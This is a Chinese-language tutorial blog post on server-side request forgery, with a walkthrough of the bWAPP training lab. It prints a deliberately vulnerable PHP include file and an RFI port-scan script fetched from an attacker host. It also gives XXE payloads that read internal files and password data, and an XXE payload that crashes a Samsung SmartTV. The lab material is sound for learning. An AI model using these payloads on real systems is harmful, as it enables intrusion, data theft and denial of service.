ssrf

0.841字数 2046阅读 11190

SSRF漏洞是如何产生的?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

上面的话说的有点抽象,然后说一下网上大佬的理解

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。

所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。

正常用户访问网站的流程是:

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤),并处理 -->返回用户响应

【那网站有个请求是www.baidu,com/xxx.php?image=URL

那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:

www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果我们将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?

如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码

终极简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

ssrf用途

那么SSRF 可以做什么呢?

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网Web站点漏洞的利用

......

SSRF漏洞的寻找(漏洞常见出没位置):

注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞

  • 1)分享:通过URL地址分享网页内容

  • 2)转码服务

  • 3)在线翻译

  • 4)图片加载与下载:通过URL地址加载或下载图片

  • 5)图片、文章收藏功能

  • 6)未公开的api实现以及其他调用URL的功能

  • 7)从URL关键字中寻找

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...

SSRF漏洞的验证方法:

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

SSRF实例

1. bWAPP中的SSRF

bWAPP(buggy web Application) 这是一个集成了各种常见漏洞和最新漏洞的开源Web应用程序,集成了超过100种漏洞,个人觉得还是非常好用的,特别是在找漏洞利用示例的时候,往往能够节省一些时间。

BWAPP:一款非常好用的漏洞演示平台

安装完毕后,使用bee/bug进行登录,登录的时候的等级选择为low,登录后选择SSRF的靶场,然后点击Hack进行演练。

image.png

选择ssrf测试

2. SSRF的3个小实验

bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:

任务1:使用(RFI)远程文件包含进行端口扫描(内网探测)

任务2:使用XXE获取敏感文件中的内容(文件读取)

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。
要了解远程文件包含,首要先了解php的文件包含机制:
PHP中常用的包含调用函数有:include(), require(), include_once(), require_once() .include失败会弹出警告 而require则直接导致致命的错误
写个例子吧,直接讲下RFI:
s_hell.php(php.ini下开启allow_url_fopen allow_url_include)

<?php

if(isset($_GET['file'])){

$file = $_GET['file'];

include($file);

}

?>

http://10.22.10.191/Myphp/s_hell.php?file=https://bbs.ichunqiu.com

image.png

包含其实通俗点来讲,就是把被包含的文件的代码拿过来当作自己的源码的一部分,所以,php文件包含机制有个特性:哪怕被包含的文件是个txt文件,它也会被包含文件所在的服务器当作脚本去执行:

任务1:使用远程文件包含进行端口扫描

点击任务1中的Port scan可以获得一份端口扫描的攻击脚本


image.png

http://10.22.10.191/Myphp/ssrf-1.txt

<?php
/*
/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

漏 2013 MME BVBA. All rights reserved.

*/

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);  //要扫描的端口
    
    $results = array();        //把端口开放结果存在数组里
    
    foreach($ports as $port)           //遍历端口
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))          //fsockopen()判断端口开放情况
        {

            $results[$port] = true;         //结果放置在result数组里
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)             //遍历结果数组 $port=>$val 键值对形式
    {

        $prot = getservbyport($port,"tcp");        /获取端口服务
        echo "Port $port ($prot): ";

        if($val)                  //存在结果数组里的值是true,即为端口open,否则端口close
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}

//echo phpinfo();
?>

进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php

GET的请求: http://127.0.0.1/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。

POST:http://10.22.10.191/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

POST DATA:ip=10.22.8.113

10.22.10.191也就是攻击者的主机ip,这里language=http://10.22.10.191/....是扫描脚本的访问地址,为了方便这里就用同一台进行测试了,10.22.8.113是要扫描的目标主机地址,且该地址是language=http://10.22.10.191/主机无法访问到的,然后方便查看区分使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。

image.png

任务2:使用XXE获取敏感文件中的内容

图片.png

先点击任务2中的Access得到XXE的利用脚本http://127.0.0.1/BWAPP/evil/ssrf-2.txt。,然后访问XML External Entity Attacks (XXE)演练环境http://xxx.xxx.xxx/bWAPP/xxe-1.php,使用burpSuite抓包,并发送到repeater中进行测试。

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

测试中涉及的XXE知识可以参考http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA这篇文章。

使用http协议获取/bWAPP/robots.txt的内容。

使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据。

使用file协议获取bWAPP本机的/etc/passwd的内容。

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(没有演示环境,先留坑)

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

参考:http://www.freebuf.com/column/157466.html

推荐阅读更多精彩内容